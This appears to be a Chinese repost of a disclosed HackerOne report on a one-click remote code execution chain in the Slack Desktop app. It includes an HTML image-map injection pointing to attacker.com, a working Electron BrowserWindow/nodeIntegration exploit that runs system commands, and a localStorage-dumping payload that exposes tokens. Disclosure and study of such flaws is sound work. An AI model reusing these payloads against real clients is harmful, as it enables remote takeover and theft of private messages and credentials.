前提

利用应用内重定向登陆/开放式重定向、HTML或javascript注入,都可以在Slack桌面应用中执行任意代码。

这份漏洞报告提供了几种攻击思路,包括HTML注入、绕过安全控制和RCE Javascript payload。

经测试,此expliot适用于最新的Slack Desktop(4.2、4.3.2)版本(Mac/Windows/Linux)。

为了更好程度地展示此RCE漏洞的影响,我们提供了一种新的攻击思路(HTML注入和有效负载),因为#738229中的exploit已经不能用了。

技术细节和复现步骤

利用步骤
1.使用RCE有效负载在启用HTTPS的服务器上上传文件
2.准备一个带有HTML注入的Slack Post
3.将POST分享到频道或分享给用户

用户步骤
在PC端点击post文件

用户点击后的实际操作
HTML将用户桌面应用程序重定向到_topframe中的攻击者网站。
攻击者网站使用RCE javascript回复。
利用跳转漏洞绕过Slack desktop环境,泄漏Electron对象,在用户PC上执行任意命令。
PS:这也可以通过任意XSS/应用内重定向漏洞来实现。

HTML注入--以JSON格式直接编辑Slack POST结构

1.创建一个新的slack Post
当创建新的slack Post时,会在 https://files.slack.com 上创建一个具有以下JSON结构的新文件:

{"full":"<p>content<\/p>","preview":"<p>content<\/p>"}


通过访问/api/files.info调用返回的私有文件链接可以找到私有文件的URL:


私有文件URL在/api/files.info的url_private响应下的格式为https://files.slack.com/files-pri/{TEAM_ID}-{FILE_ID}/TITLE。只需访问私有文件链接就可以查看Slack Post JSON结构。

注入HTML payload

可以直接编辑这个JSON结构,它可以包含任意的HTML。JavaScript的执行受到CSP的限制,并且为HTML标签提供了各种安全保护。(即禁用iframe, applet,meta, script, form等以及对于A标签,target属性被覆盖为_blank
但是,仍然可以注入area和map标签,用来实现一键RCE。
要直接编辑JSON结构并以这种方式注入,可以利用Slack本身提供的Web UI:

https://{YOUR-TEAM-HOSTNAME}.slack.com/files/{YOUR-MEMBER-ID}/{FILE-ID}/title/edit

或者,也可以上传Javascript/JSON片段,并通过使用HTTP代理编辑filetype参数将其filetype更改为docs。
上传payload.json,JSON如下:


通过在编辑文件时拦截请求来更改文件类型,例如将标题和拦截HTTP请求更改为/api/files.edit:


由于嵌入HTML不可能实现,并且各种标签也受到了限制,而且由于各种安全机制和CSP,Javascript不可用,因此开发了一种新的HTML注入有效负载:

<img src="https://files.slack.com/files-tmb/T02AVL3AF-FSUE04U2D-881f692a25/screenshot_2020-01-26_at_21.12.20_360.png" width="10000" height="10000" usemap="#slack-img">
<map name="slack-img">
<area shape="rect" coords="10000,10000 0,0" href="https://attacker.com/t.html" target="_self">
</map>

此有效负载需要使用属性usemap引用图像。需要预先将图像上传到Slack并托管在Slack基础设施中。
Slake Post edit@https://{YOUR-TEAM-HOSTNAME}.slack.com/files/{YOUR-MEMBER-ID}/{FILE-ID}/title/edit payload.json:

{
  "full": "asd",
  "preview": "<img src=\"https://files.slack.com/files-tmb/T02AVL3AF-FSUE04U2D-881f692a25/screenshot_2020-01-26_at_21.12.20_360.png\" width=\"10000\" height=\"10000\" usemap=\"#slack-img\"><map name=\"slack-img\"><area shape=\"rect\" coords=\"10000,10000 0,0\" href=\"https://attacker.com/t.html\" target=\"_self\"></map>"
}

RCE exploit代码-托管在攻击者的网站上

area标签内的URL链接将包含此针对Slack Desktop应用程序的HTML/JS利用漏洞,该漏洞可执行攻击者提供的任何命令:

<html>
<body>
<script>
  // overwrite functions to get a BrowserWindow object:
  window.desktop.delegate = {}
  window.desktop.delegate.canOpenURLInWindow = () => true
  window.desktop.window = {}
  window.desktop.window.open = () => 1
  bw = window.open('about:blank') // leak BrowserWindow class
  nbw = new bw.constructor({show: false, webPreferences: {nodeIntegration: true}}) // let's make our own with nodeIntegration
  nbw.loadURL('about:blank') // need to load some URL for interaction
  nbw.webContents.executeJavaScript('this.require("child_process").exec("open /Applications/Calculator.app")') // exec command
</script>
</body>
</html>

对于Windows,只需将open/Applications/Calculator.app替换为calc或其他任何内容即可。

测试RCE有效负载,可以在任何Slack Desktop应用程序上打开开发人员工具,并仅将Javascript代码粘贴到控制台中。就实现了RCE。

无需执行命令即可轻松访问所有私有数据

通过修改有效负载可以轻松地访问所有私人对话、文件、令牌等,

<html>
<body>
<script>
  window.desktop.delegate = {}
  window.desktop.delegate.canOpenURLInWindow = () => true
  window.desktop.window = {}
  window.desktop.window.open = () => 1
  bw = window.open('about:blank')
  nbw = new bw.constructor({show: false}) // node not necessary for this demo
  nbw.loadURL('https://app.slack.com/robots.txt') // robots.txt for speed, app.slack.com gives us the user's full environment 
  nbw.webContents.executeJavaScript('alert(JSON.stringify(localStorage))')
</script>
</body>
</html>


本质上,这使攻击者可以通过覆盖Slack桌面应用程序环境函数并通过BrowserWindow提供“隧道”来执行任意Javascript,从而完全远程控制Slack桌面应用程序.

files.slack.com-备用有效负载存储和自我XSS

在搜索RCE漏洞的入口点时,发现电子邮件(以明文形式发送时)未经过滤地存储在https://files.slack.com的SLACK服务器上,并且直接以文本/HTML形式返回,无需强制下载。
此HTML文件上传功能可用于存储RCE有效负载

如何将html上传至files.slack.com

可以使用任何电子邮件客户端来做到这一点,比如在MacOS的默认客户端中,按下CMD+SHIFT+T来生成电子邮件纯文本,从上面复制粘贴RCE有效负载,然后将其嵌入到Slack Post HTML注入中。

发送到slack的步骤戳这里
然后,可以通过页面上的“open original”找到上传的HTML文件,或者通过对电子邮件文件id调用相同的/api/files.info API,然后访问url_private链接来找到上传的HTML文件。

TL;DR

通过Web UI的HTML注入路径-直接编辑POST文件结构。
或者,通过从Javascript/JSON到Docs的文件转换进行HTML注入-实现直接编辑POST结构。
新的纯HTML有效负载可重定向slack桌面应用程序。
跳转漏洞实现RCE
通过电子邮件实现不受限制的Files.slack.com XSS
当然,所有文件都必须通过日常的方法与收件人共享,否则无法访问私人文件

影响

Slack桌面应用程序中的远程代码执行:

访问私有文件、私钥、密码、机密、内部网络访问等。
访问Slack中的私人对话、文件等。
可以将payload设置为wormable—反复利用。

files.slack.com中的XSS。

*.slack.com中的任意HTML内容——都被默认为可信任
网络钓鱼
可用于存储以上RCE漏洞payload

https://hackerone.com/reports/783877

点击收藏 | 2 关注 | 1
  • 动动手指,沙发就是你的了!
登录 后跟帖